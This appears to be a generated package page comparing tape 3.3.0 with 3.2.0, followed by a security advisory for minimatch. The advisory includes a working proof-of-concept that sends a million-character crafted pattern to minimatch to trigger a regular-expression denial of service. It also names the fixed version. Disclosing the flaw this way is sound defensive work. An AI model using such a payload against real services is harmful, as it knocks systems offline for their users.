Tape is a popular and simple TAP-producing test harness for Node.js and browsers, designed for ease of use and clear output. Comparing versions 3.3.0 and 3.2.0 reveals a subtle yet important evolution. Both versions share the same core dependencies, including glob, defined, resumer, through, inherits, deep-equal, and object-inspect, ensuring consistent functionality for file matching, value handling, stream management, inheritance, deep equality checks, and object inspection. The development dependencies also remain identical, utilizing tap for running tests, falafel for AST manipulation during testing, and concat-stream for efficient stream concatenation. This means developers upgrading from 3.2.0 to 3.3.0 will experience largely the same API and testing environment they're accustomed to.
The key difference lies in the release date: version 3.3.0 was released on January 19, 2015, while version 3.2.0 was released on January 15, 2015. This short interval suggests that version 3.3.0 likely includes minor bug fixes, dependency updates, or performance improvements that didn't warrant significant API changes. While the changelog isn't provided, developers are encouraged to check the tape's GitHub repository for specific details of the modifications made between these versions. The dist.tarball URLs also reflect the version difference allowing to download the specific tarball for each version.. For developers, this means that upgrading to 3.3.0 is a low-risk way to potentially benefit from improvements and bug fixes, while retaining the familiar tape testing experience.
All the vulnerabilities related to the version 3.3.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.